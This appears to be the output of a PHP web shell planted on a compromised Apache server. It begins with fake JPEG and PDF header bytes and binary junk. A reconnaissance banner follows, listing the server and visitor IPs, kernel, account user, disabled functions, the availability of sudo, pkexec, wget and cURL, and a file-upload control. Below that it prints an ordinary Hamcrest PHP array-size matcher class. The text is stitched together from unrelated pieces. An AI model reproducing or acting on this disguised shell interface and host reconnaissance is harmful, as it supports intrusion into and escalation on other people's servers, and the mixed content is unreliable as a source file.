ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.129 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/ |
Upload File : |
<?php namespace Hamcrest\Arrays; /* Copyright (c) 2009 hamcrest.org */ use Hamcrest\Core\DescribedAs; use Hamcrest\Core\IsNot; use Hamcrest\FeatureMatcher; use Hamcrest\Matcher; use Hamcrest\Util; /** * Matches if array size satisfies a nested matcher. */ class IsArrayWithSize extends FeatureMatcher { public function __construct(Matcher $sizeMatcher) { parent::__construct( self::TYPE_ARRAY, null, $sizeMatcher, 'an array with size', 'array size' ); } protected function featureValueOf($array) { return count($array); } /** * Does array size satisfy a given matcher? * * @param \Hamcrest\Matcher|int $size as a {@link Hamcrest\Matcher} or a value. * * @return \Hamcrest\Arrays\IsArrayWithSize * @factory */ public static function arrayWithSize($size) { return new self(Util::wrapValueWithIsEqual($size)); } /** * Matches an empty array. * * @factory */ public static function emptyArray() { return DescribedAs::describedAs( 'an empty array', self::arrayWithSize(0) ); } /** * Matches an empty array. * * @factory */ public static function nonEmptyArray() { return DescribedAs::describedAs( 'a non-empty array', self::arrayWithSize(IsNot::not(0)) ); } }